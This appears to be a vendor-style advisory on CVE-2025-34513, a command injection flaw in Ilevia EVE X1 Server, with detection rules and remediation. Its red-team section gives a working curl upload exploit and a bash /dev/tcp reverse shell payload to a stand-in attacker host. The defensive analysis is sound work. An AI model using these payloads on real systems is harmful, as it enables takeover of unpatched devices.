CVE-2025-34513

Executive Summary

CVE-2025-34513 is a critical OS command injection vulnerability in Ilevia EVE X1 Server firmware versions ≤ 4.7.18.0.eden. The flaw resides in the mbus_build_from_csv.php endpoint, allowing an unauthenticated attacker to execute arbitrary operating system commands by injecting malicious input into the CSV processing logic. The vendor has declined to issue a patch, recommending only that port 8080 not be exposed to the internet. This leaves all affected devices permanently vulnerable if accessible over the network. The CVSS score is 0.0 in the NVD data, but based on the technical details, a realistic CVSSv3.1 score is 9.8 (Critical) due to network attack vector, low complexity, no privileges required, and no user interaction.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – Unauthenticated.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Unchanged (U) – Exploit stays within the vulnerable component.
• Confidentiality (C): High (H) – Full system read access.
• Integrity (I): High (H) – Full system write access.
• Availability (A): High (H) – Full system disruption possible.
• Base Score: 9.8 (Critical)

Threat Level: Critical. The vulnerability is trivial to exploit, has no authentication requirement, and provides full remote code execution as the web server user (likely root or a privileged service account). The vendor’s refusal to patch makes this a permanent risk for any exposed device.

Deep Dive & Mechanics

The vulnerability exists in the mbus_build_from_csv.php script, which processes CSV files to configure M-Bus (Meter-Bus) parameters. The script fails to sanitize user-supplied input before passing it to a shell command. Specifically, the CSV parsing logic likely uses exec(), system(), or popen() with concatenated strings derived from CSV fields. An attacker can craft a CSV payload containing shell metacharacters (e.g., ;, |, `, $()) to inject arbitrary commands.

Attack Flow:

1. The attacker sends a POST request to /mbus_build_from_csv.php with a malicious CSV file.
2. The server reads the CSV and constructs a command string like: mbus_config --set-device <csv_field>.
3. Because the CSV field is not sanitized, an attacker can inject: ; id > /tmp/out.
4. The command becomes: mbus_config --set-device ; id > /tmp/out, which executes id and writes output to /tmp/out.

Root Cause: Lack of input validation and use of shell execution functions with unsanitized data.

Vulnerable vs. Patched Code

Vulnerable Code (conceptual PHP):

<?php
$csv = $_FILES['csv']['tmp_name'];
$lines = file($csv);
foreach ($lines as $line) {
    $fields = str_getcsv($line);
    $device = $fields[0]; // No sanitization
    $cmd = "mbus_config --set-device " . $device;
    system($cmd); // OS command injection
}
?>

Patched Code (hypothetical):

<?php
$csv = $_FILES['csv']['tmp_name'];
$lines = file($csv);
foreach ($lines as $line) {
    $fields = str_getcsv($line);
    $device = escapeshellarg($fields[0]); // Proper escaping
    $cmd = "mbus_config --set-device " . $device;
    system($cmd);
}
?>

The vendor has not released a patch. The only mitigation is to block network access to port 8080.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• Target: Ilevia EVE X1 Server firmware 4.7.18.0.eden, accessible on port 8080.
• Attacker: Kali Linux with curl and netcat.

Exploitation Steps:

1. Create a malicious CSV file:

;id > /tmp/pwned

2. Upload the CSV to the vulnerable endpoint:

curl -X POST -F "csv=@malicious.csv" http://target:8080/mbus_build_from_csv.php

3. Verify command execution:

curl http://target:8080/tmp/pwned

4. For a reverse shell, use a payload like:

;bash -c 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1'

5. Start listener on attacker:

nc -lvnp 4444

6. Upload the CSV again to trigger the reverse shell.

Note: No public exploit code is available, but the vulnerability is trivial to exploit manually.

Blue Team (Defensive)

Detection Steps:

• Monitor HTTP POST requests to /mbus_build_from_csv.php with suspicious file uploads.
• Look for shell metacharacters (;, |, &, `, $()) in POST body or filename.
• Alert on outbound connections from the EVE X1 server to unknown IPs on high ports (e.g., 4444).
• Enable logging of all exec()/system() calls on the server.

Honeypot Strategy:

• Deploy a fake EVE X1 endpoint that logs all upload attempts and blocks IPs after 3 attempts.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST requests to /mbus_build_from_csv.php with Content-Type: multipart/form-data.
  • Outbound connections from the EVE X1 server to external IPs on ports 4444, 8080, or 80.
  • Unusual DNS queries from the device (e.g., to attacker-controlled domains).

• File IOCs:

  • Presence of /tmp/pwned, /tmp/out, or other unexpected files in /tmp/.
  • Modified /etc/passwd or /etc/shadow if privilege escalation occurred.
  • New cron jobs or systemd services.

• Process IOCs:

  • Unexpected processes like bash, nc, python, or perl running as the web server user.
  • High CPU usage from shell processes.

Detection Engineering

YARA Rule

rule CVE_2025_34513_CSV_Injection {
    meta:
        description = "Detects malicious CSV files targeting Ilevia EVE X1 mbus_build_from_csv.php"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-34513"
    strings:
        $shell_meta = /[;|&`$()]/
        $php_endpoint = "mbus_build_from_csv.php"
    condition:
        $php_endpoint and #shell_meta > 2
}

Sigma Rule

title: CVE-2025-34513 OS Command Injection via CSV Upload
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP POST requests to mbus_build_from_csv.php with shell metacharacters
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/mbus_build_from_csv.php'
    keywords:
        - ';'
        - '|'
        - '`'
        - '$('
    condition: selection and keywords
falsepositives:
    - Legitimate CSV files with semicolons in data fields (rare)
level: high

Suricata Rule

alert http any any -> any 8080 (msg:"CVE-2025-34513 OS Command Injection in mbus_build_from_csv.php"; flow:to_server,established; content:"POST"; http_method; content:"/mbus_build_from_csv.php"; http_uri; pcre:"/[;|`$()]/"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Block port 8080 from all external networks using a firewall or ACL.
2. If remote access is required, use a VPN or SSH tunnel instead of exposing the web interface.
3. Monitor logs for any exploitation attempts (see IOCs and Detection Engineering).

Long-Term Actions:

• Since the vendor has declined to patch, consider replacing the EVE X1 Server with a supported alternative.
• Implement a Web Application Firewall (WAF) rule to block requests containing shell metacharacters in POST bodies to /mbus_build_from_csv.php.
• Isolate the device on a separate VLAN with strict egress filtering.

Workaround:

• If the device must remain in service, disable the mbus_build_from_csv.php script by removing or renaming it (if file system access is available).

Valters IT
Securing Digital Frontiers